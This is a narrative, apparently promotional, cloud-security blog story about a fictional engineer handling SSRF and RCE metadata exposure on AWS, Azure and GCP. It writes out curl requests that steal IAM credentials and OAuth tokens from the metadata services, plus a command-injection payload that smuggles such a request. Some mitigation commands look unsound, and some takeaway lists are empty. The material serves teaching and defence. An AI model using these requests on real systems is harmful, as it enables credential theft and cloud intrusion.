The Metadata Exposure Incident: A Multi-Cloud Security Breakdown
Prologue: The Unexpected Alert
At Secure-Corp, Alex, a Senior Cloud Security Engineer, had just finished his morning coffee when an urgent alert flashed red on his SIEM dashboard. Unusual metadata API calls were coming from a cloud-hosted web application that was visible to the public.
Critical apps and services were hosted on Secure-Corp's multi-cloud infrastructure, which was dispersed over AWS, Azure, and GCP. Alex switched into incident response mode because he was worried that an attacker would be looking for metadata leakage.
His first stop? AWS.
Phase 1: AWS – Exploiting the Instance Metadata API
Detection: Unusual IMDS Calls
The first alert flagged a spike in outbound requests to AWS’s metadata service (IMDS) from one of Secure-Corp’s EC2 instances. A cursory examination of the logs showed numerous calls to:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
Alex's heart fell. The web application's susceptibility to Server-Side Request Forgery (SSRF) was verified via the logs. This implied that an attacker may get IAM role credentials by deceiving the application into submitting unauthorized calls to AWS's metadata API.
Exploitation: Stealing IAM Role Credentials
An attacker exploiting the SSRF vulnerability could execute:
curl
http://169.254.169.254/latest/meta-data/iam/security-credentials/
This would return the IAM role name assigned to the EC2 instance. Then, they could fetch temporary credentials:
curl
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
With the AWS access key, secret key, and session token in hand, an attacker could pivot into the AWS environment, assuming the compromised IAM role's permissions.
Mitigation: Locking Down AWS IMDS
Alex immediately took the following steps:
aws ec2 modify-instance-metadata-options --instance-id
i-XXXXXX --http-tokens required --http-endpoint enabled
--region us-east-1
📌 Reference: Infinity Challenge – AWS-Compute-01: Exploiting Vulnerable EC2 Instance [Here]
Satisfied that AWS was secured, Alex turned to Azure, where another anomaly awaited.
Phase 2: Azure – The OAuth Token Exposure
Detection: Unauthorized Access Token Requests
Azure's security monitoring flagged unusual API calls targeting the Azure Instance Metadata Service (IMDS). Alex reviewed the logs and found repeated requests to:
http://169.254.169.254/metadata/identity/oauth2/token
The requests were returning access tokens, which could be used to interact with Azure services.
Exploitation: Stealing Managed Identity Tokens
The vulnerable web application running on an Azure VM allowed an attacker to send a crafted SSRF request to the metadata API:
curl -H "Metadata: true"
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"
This returned an OAuth access token, which could be used to interact with Azure services via the Azure REST API:
curl -H "Authorization: Bearer <ACCESS_TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01
If the compromised managed identity had elevated privileges, the attacker could enumerate and modify resources within the subscription.
Mitigation: Securing Azure IMDS
Alex acted quickly:
az network nsg rule create --resource-group
<RESOURCE_GROUP_NAME> --nsg-name <NSG_NAME> --name <RULE_NAME> --priority 100 --direction Inbound --access Deny --protocol Tcp --destination-port-ranges 80 443 32526
--destination-address-prefixes <IP>
📌 Reference: Infinity Challenge – Azure-Compute-01: Exploiting Vulnerable Virtual Machine Instance [Here]
With Azure secured, Alex turned to GCP, where the most severe vulnerability was lurking.
Phase 3: GCP – The Remote Code Execution Disaster
Detection: RCE with Metadata Exposure
An RCE (Remote Code Execution) vulnerability was found in one of the publicly accessible web applications by Alex during a normal vulnerability assessment of Secure-Corp's GCP Compute Engine instances.
To test the exploit, Alex injected a simple payload into the vulnerable field:
; curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
His worst suspicions were validated by the response: an attacker could harvest OAuth tokens from the GCP metadata API because the application was running arbitrary commands on the instance.
Exploitation: Abusing the Metadata API
Once an attacker has RCE, they can fetch service account tokens and escalate privileges across the GCP environment:
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
If the service account has elevated IAM permissions, the attacker could exfiltrate sensitive data or even spin up new Compute Engine instances for persistence.
Mitigation: Securing GCP Metadata Services
Alex rapidly deployed the following countermeasures:
gcloud compute firewall-rules create <RULE_NAME>
--direction=INGRESS --action=DENY --rules=all
--source-ranges=0.0.0.0/0 --target-tags=web-server
📌 Reference: Infinity Challenge – GCP-Compute-01: Exploiting Vulnerable Compute Engine Instance [Here]
Phase 4: Incident Report and Cloud-Wide Hardening
With all three cloud environments secured, Alex compiled a detailed incident report outlining:
Epilogue: Lessons from the Metadata Incident
The attack simulation proved one thing—metadata exposure remains one of the most critical cloud security risks.
One thing was demonstrated by the attack simulation: one of the biggest threats to cloud security is still metadata exposure.
Key Takeaways:
Secure-Corp was kept safe thanks to Alex's prompt action. However, he was aware that this was only one conflict in the continuous fight against cloud misconfigurations.
🚀 Are your cloud workloads protected against Cyber attacks? - Infinity Platform [Here]